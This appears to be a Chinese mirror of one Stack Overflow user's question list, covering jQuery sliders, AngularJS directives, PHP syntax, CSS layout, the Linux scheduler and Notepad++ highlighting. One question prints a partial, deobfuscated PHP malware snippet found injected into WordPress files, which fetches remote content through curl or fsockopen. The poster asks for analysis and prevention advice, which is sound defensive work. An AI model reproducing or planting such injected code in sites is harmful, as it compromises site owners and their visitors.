小编Sma*_*tti的帖子

支持jQuery和触控设备的水平滑动滑块?

我需要制作一个像这样的产品滑块(参见红色区域)滑动滑块的动量.

它应该适用于桌面,iPad和移动浏览器.你知道任何jquery/jquery移动插件来实现这一目标吗?

在此输入图像描述

我想要的效果几乎类似于这个http://manos.malihu.gr/tuts/jquery_thumbnail_scroller.html(但它不兼容)

和Apple名为"Trailers"的iPad应用程序中的"Top 25"部分完全一样

在此输入图像描述

javascript jquery jquery-plugins css3

46
推荐指数
5
解决办法
11万
查看次数

AngularJS:如何将参数/函数传递给指令?

看看这个小提琴,我需要改变什么,模板中的表达式使用我在HTML中定义的参数进行评估?SAVE按钮应该调用blabla()控制器的-function,因为我通过它?

var myApp = angular.module('MyApp',[])
myApp.directive('editkeyvalue', function() {
    return {
        restrict: 'E',
        replace: true,
        scope: {
            accept: "expression"
        },
        template : '<div><label class="control-label">{{key}}</label>' +
        '<label class="control-label">{{key}}</label>' +
          '<input type="text" ng-model="value" />'+
        '<button type="button" x-ng-click="cancel()">CANCEL</button>' +
        '<button type="submit" x-ng-click="save()">SAVE</button></div>',

      controller: function($scope, $element, $attrs, $location) {
        $scope.save= function() {
          $scope.accept();
        };
      }
    }
});
Run Code Online (Sandbox Code Playgroud)

我真的没有看透.感谢帮助!

javascript html5 scope controller angularjs

46
推荐指数
2
解决办法
10万
查看次数

PHP"或"语法

我已经看过很多了:$fp = fopen($filepath, "w") or die(); 但我似乎无法找到关于这种"或"语法的任何真实文档.它的功能显而易见,但我可以在任何地方使用它吗?它一定要跟着die()吗?or当你可以使用类似的东西时,是否有任何需要注意的事项

if (file_exists($filepath))
   $fp = fopen($filepath,"r");
else
   myErrMessage();
Run Code Online (Sandbox Code Playgroud)

我知道这似乎是一个愚蠢的问题,但我找不到任何严格的规则.谢谢.

php syntax control-structure program-flow or-operator

35
推荐指数
4
解决办法
4万
查看次数

这个恶意软件代码是什么完成的?

我发现这个代码注入客户端站点上的许多PHP文件中.当然,原件已被混淆和编码.我设法解码它并将其格式化为当前表单.

我的问题是:它到底完成了什么,代码是否表明它是如何注入的,因此揭示了未来如何防止这种情况?

<?php
if(!function_exists('check_wp_head_load')){
    function check_wp_head_load(){
        if(!function_exists('cc')){
            function cc($ll_0){
                $ll_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
                if(function_exists('curl_init')){
                    $ll_2 = curl_init();
                    curl_setopt($ll_2, 10002, $ll_0);
                    curl_setopt($ll_2, 42, 0);
                    curl_setopt($ll_2, 13, 30);
                    curl_setopt($ll_2, 19913, 1);
                    curl_setopt($ll_2, 10018, $ll_1);
                    if(!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
                        @curl_setopt($ll_2, 52, 1);

                    }

                    @curl_setopt($ll_2, 68, 2);
                    $ll_3 = curl_exec($ll_2);
                    curl_close($ll_2);
                    if($ll_3 !== false){
                        return $ll_3;

                    }

                }
                else if(function_exists('fsockopen')){
                    global $ll_4;
                    $ll_0 = str_replace("http://", "", $ll_0);
                    if(preg_match("#/#", "$ll_0")){
                        $ll_5 = $ll_0;
                        $ll_0 = @explode("/", $ll_0);
                        $ll_0 = $ll_0[0];
                        $ll_5 …
Run Code Online (Sandbox Code Playgroud)

php wordpress code-analysis malware

9
推荐指数
1
解决办法
1070
查看次数

使用跨度边距来对齐文本

对html有点新,所以如果需要进一步解释或者这个问题没有意义,请随意说出来.

我正在使用div来布局我正在设计的webform并使用 来移动div中的文本并不总是产生我想要的结果到页面的布局.

我开始尝试并使用:

<span style="margin-left:(variable)px"></span>
Run Code Online (Sandbox Code Playgroud)

我能够将文本准确地移动到我想要的位置.

我的问题是,这是一种不好的做法吗?有没有更好的方法来做我想做的事情,或更传统的方式?或者甚至是html内置的东西,我还没有发现.

谢谢

*添加了代码块以显示我想要完成的任务

   Complainant's Address
   <input type="text" size="50" id="complainantAddress"/> 
   <span style="margin-left:3px"></span>
   City
   <input type="text" name="city" maxlength="15" size="15"/>
   <span style="margin-left:16px"></span>
   State
   </div>
Run Code Online (Sandbox Code Playgroud)

html css

9
推荐指数
1
解决办法
6万
查看次数

将2个50%宽度的输入元素连续放置,了解盒子大小

我正在尝试将2个input元素内联,每个元素的宽度为50%.为什么我必须从input元素中减去边框宽度,即使我使用box-sizing: border-box

http://jsfiddle.net/Nmvk6/

HTML

<form class="form">
    <div class="form-group">
        <label>Type</label>
        <button class="btn btn-default">
            <span class="glyphicon glyphicon-plus-sign"></span>
        </button>
    </div>
    <div class="form-group">
        <select class="form-control half-width-form-control">
            <option value="foo">foo</option>
            <option value="bar">bar</option>
        </select>
        <input class="form-control half-width-form-control" type="number"></input>
    </div>
</form>
Run Code Online (Sandbox Code Playgroud)

CSS

.half-width-form-control {
   display: inline-block;
    width: calc(50% - 2px);
    /*width: 50%;*/
    /*box-sizing: border-box;*/
}
Run Code Online (Sandbox Code Playgroud)

html css twitter-bootstrap-3

7
推荐指数
1
解决办法
7159
查看次数

了解linux调度程序

我是linux内核和低级编程的新手.我想知道linux调度程序在时间复杂度上应该是O(1).

我看到以下文章内容非常丰富但我在理解下面转载的pargraph时遇到了问题 http://www.ibm.com/developerworks/linux/library/l-scheduler/

调度程序的工作很简单:选择要执行的最高优先级列表上的任务.为了使此过程更有效,使用位图来定义任务何时在给定优先级列表上.因此,在大多数体系结构中,使用查找第一位集指令来查找在五个32位字之一(对于140个优先级)中设置的最高优先级位.查找要执行的任务所花费的时间不取决于活动任务的数量,而取决于优先级的数量.这使得2.6调度程序成为O(1)进程,因为无论活动任务的数量如何,调度时间都是固定的和确定的.

为什么140个队列中有5个32位的字?find-first-bit-set指令有助于选择140个队列中的一个?

linux scheduling linux-kernel

6
推荐指数
1
解决办法
1217
查看次数

从<select>添加或删除<option>时的jquery事件

是否有一个jquery事件,用于何时在HTML页面上的选择控件中添加或删除选项?我已经尝试了.change()但是当我点击选项元素时它似乎只是触发了.即这不起作用:

$(function() {
    $('#select').change(function() {
            alert('hello world');
    })
});
Run Code Online (Sandbox Code Playgroud)

谢谢 :).

html jquery events onchange

6
推荐指数
1
解决办法
4446
查看次数

使用绝对与图像的相对路径

一位同事刚刚问我是否有任何理由为什么提到相对路径的图像会妨碍网站速度.

虽然为了清洁,最好使用相对路径中较少的字符,但想知道使用绝对/完整路径是否存在其他减速/后果?我认为通过拥有完整路径可能会涉及DNS查找.

如果有其他后果,会有什么后果?

html performance networking path

6
推荐指数
1
解决办法
7451
查看次数

在Notepad ++自定义语言中突出显示关键字之类的数字(用于访问日志)

我想在Notepad ++中为访问日志编写自定义语言.

问题是数字(这里:HTTP状态代码)不会像真正的关键字一样突出显示(即GET).Notepad ++通常只为数字提供高亮颜色.

我该如何处理文字等数字?

示例日志文件

192.23.0.9 - - [10/Sep/2012:13:46:42 +0200] "GET /js/jquery-ui.custom.min.js HTTP/1.1" 200 206731
192.23.0.9 - - [10/Sep/2012:13:46:43 +0200] "GET /js/onmediaquery.min.js HTTP/1.1" 200 1229
192.23.0.9 - - [10/Sep/2012:13:46:43 +0200] "GET /en/contact HTTP/1.1" 200 12836
192.23.0.9 - - [10/Sep/2012:13:46:44 +0200] "GET /en/imprint HTTP/1.1" 200 17380
192.23.0.9 - - [10/Sep/2012:13:46:46 +0200] "GET /en/nothere HTTP/1.1" 404 2785
Run Code Online (Sandbox Code Playgroud)

示例自定义语言
http://sourceforge.net/apps/mediawiki/notepad-plus/index.php?title=User_Defined_Language_Files

我还尝试编辑和导入这样的预定义语言:http:
//notepad-plus.sourceforge.net/commun/userDefinedLang/Log4Net.xml

我认为自定义语言应如下所示:

<KeywordLists>
[...]
    <Keywords name="Words1">404 501</Keywords>
    <Keywords name="Words2">301 303</Keywords>
    <Keywords name="Words3">200</Keywords>
</KeywordLists>

<Styles>
    <WordsStyle name="DEFAULT" styleID="11" fgColor="000000" bgColor="FFFFFF" …
Run Code Online (Sandbox Code Playgroud)

syntax-highlighting notepad++ http-status-codes

6
推荐指数
1
解决办法
5088
查看次数